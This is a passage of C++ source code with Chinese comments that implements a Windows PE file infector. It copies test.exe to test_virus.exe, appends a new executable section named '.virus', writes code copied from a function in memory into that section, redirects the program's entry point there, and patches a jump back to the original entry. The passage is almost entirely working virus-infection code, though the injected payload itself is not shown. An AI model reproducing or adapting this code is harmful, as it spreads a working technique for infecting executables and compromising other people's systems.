    cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
    cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
    
    //  *******以下通过搜索得到函数的结束地址*******
    //  *******首先把函数的入口地址赋给变量*******
    pMove = (PBYTE)dwFunBegAddr;
    //  *******向后搜索,直到结尾*******
    while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
    {
        pMove ++;
    }
    //  *******此时pMove指向ret前一条指令*******
    //  *******pMove向后移5个字节,为程序代码的jmp指令占位*******
    pMove +=5;
    dwFunEndAddr = (DWORD)pMove;
    cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;
    //  *******结束地址减去起始地址,得到代码长度*******
    dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
    cout << "总代码长度为:" << (int)dwFunCodeLen << endl;
//*******************************************************************
//*******以下为在exe文件中添加程序代码*******
//*******************************************************************
    HANDLE hFile , hMapFile;
    LPVOID pMapOfFile = NULL;
    
//*******************************************************************
//*******检测文件合法性*******
//*******************************************************************
    //  *******打开文件*******
    hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | 
            FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    if (INVALID_HANDLE_VALUE == hFile)
    {
        cout << "CreateFile Error!" << endl;
        return;
    }
    //  *******创建文件映射*******
    hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
    if (!hMapFile)
    {
        cout << "CreateFileMapping Error!" << endl;
        goto CLOSEFILEHANDLE;
    }
    //  *******把文件映射到内存中*******
    pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
    if (!pMapOfFile)
    {
        cout << "MapViewOfFile Error!" << endl;
        goto CLOSEMAPHANDLE;
    }
    IMAGE_DOS_HEADER *pDosHeader;
    //  ********检测DOS文件头*******
    pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
    if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    {
        cout << "Check Dos Header Error!" << endl;
        goto FreeViewOfMap;
    }
    IMAGE_NT_HEADERS *pNtHeader;
    //  *******检测NT文件头*******
    pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
    if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
    {
        cout << "Check NT Header Error!" << endl;
        goto FreeViewOfMap;
    }
//***************************************************************
//*******准备工作*******
//***************************************************************
    BOOL bCopy;
 //  *******首先把要添加程序代码的文件复制一份*******
    bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
    if (!bCopy)
    {
        cout << "CopyFile Error!" << endl;
    }
    HANDLE hNewFile;
    //  *******打开刚刚复制的文件*******
    hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
                | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    if (!hNewFile)
    {
        cout << "CreateFile Error!" << endl;
        goto FreeViewOfMap;
    }
    HGLOBAL pNewFileHeader;
    //  *******为新文件的文件头申请一块内存,用于修改文件头信息*******
    pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
    if (!pNewFileHeader)
    {
        cout << "GlobalAlloc Error!" << endl;
        goto CloseNewFileHandle;
    }
    //  *******用原文件头填充这块内存*******
    RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
    IMAGE_NT_HEADERS *pNewFileNtHeader;
    pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
//////////////////////////////////////////////////////////////////////////
//*******此时的指针信息*******
//*******pMapOfFile         :   原映射文件的开始
//*******pDosHeader         :   原映射文件的DOS头也就是文件开始,只不过类型不一样
//*******pNTHeader          :   原映射文件的NT头
//*******pNewFileHeader     :   新文件的开始
//*******pNewFileNtHeader   :   新文件的NT头
//////////////////////////////////////////////////////////////////////////
//****************************************************************
//*******修改新文件的节表信息*******
//****************************************************************
    int nSecNum;
    nSecNum = pNtHeader->FileHeader.NumberOfSections;
    IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
    //  *******定位到原文件中的最后一个节表*******
    pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
                + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
    //  *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
    pNewSec = pLastSec + 1;
    //*******修改新增节表的相关信息*******
    //*****节表总数加1*****
    pNewFileNtHeader->FileHeader.NumberOfSections ++;
    //*****修改新节的文件偏移*****
    pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
    //*****修改新节的文件尺寸*****
    int nAlignNum;
    nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
    if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
    {
        nAlignNum++;
    }
    pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
    //*****修改所有代码长度按内存页对齐后的大小*****
    nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
    if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    {
        nAlignNum ++;
    }
    pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
                        pNewFileNtHeader->OptionalHeader.SectionAlignment;
    //*****修改文件内存映像尺寸*****
    pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
                        pNewFileNtHeader->OptionalHeader.SectionAlignment;
    //*****修改新节的内存偏移量*****
    //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
    nAlignNum = pLastSec->Misc.VirtualSize / 
                pNewFileNtHeader->OptionalHeader.SectionAlignment;
    if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    {
        nAlignNum ++;
    }
    pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
                                pLastSec->VirtualAddress;
    //*****修改新节的内存尺寸*****
    pNewSec->Misc.VirtualSize = dwFunCodeLen;
    //*****更新新节属性*****
    pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
                    IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
    //*****更新节名*****
    strcpy((char*)pNewSec->Name , ".virus");
    //*****更新入口地址*****
    pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
    BOOL bWrite;
    DWORD dwHeaderSize , dwWriten;
    dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
    bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
    //*****向文件中添加程序代码*****
    DWORD dwSetFileP;
    //*****定位到新文件中新节开始处*****
    dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
    if (!dwSetFileP)
    {
        cout << "SetFilePointer Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*****写入程序代码*****
    bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
    if (!bWrite)
    {
        cout << "Write Virus Code Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*****定位到文件尾部*****
    dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + 
                    pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
    if (!dwSetFileP)
    {
        cout << "SetFilePointer End Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*****设定文件结束*****
    if (!SetEndOfFile(hNewFile))
    {
        cout << "SetEndOfFile Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*******修正原入口地址*******
    PBYTE pModifyAddr;
    pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
    pModifyAddr += dwFunCodeLen;
    //printf("%x\n" , pModifyAddr);
    int nSub;    //跳转的距离
    nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
    DWORD dwModifyLoca;
    dwModifyLoca = pNewSec->PointerToRawData;
    dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
    //dwModifyLoca ++;
    //  *****定位到程序代码最后的五个字节处*****
    dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
    if (!dwSetFileP)
    {
        cout << "Modify Address SetFilePointer Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*****修正jmp指令*****
    BYTE bJmp;
    bJmp = 0XE9;
    bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
    if (!bWrite)
    {
        cout << "Modify Address WriteFile Error!" << endl;
        goto CloseNewFileHandle;
    }
    //*****修正跳转地址*****
    bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
    if (!bWrite)
    {
        cout << "Modify Address WriteFile Error!" << endl;
        goto CloseNewFileHandle;
    }
//****************************************************************
//*******扫尾工作*******
//****************************************************************
CloseNewFileHandle:
    CloseHandle(hNewFile);
FreeViewOfMap:
    UnmapViewOfFile(pMapOfFile);
CLOSEMAPHANDLE:
    CloseHandle(hMapFile);
CLOSEFILEHANDLE:
    CloseHandle(hFile);
}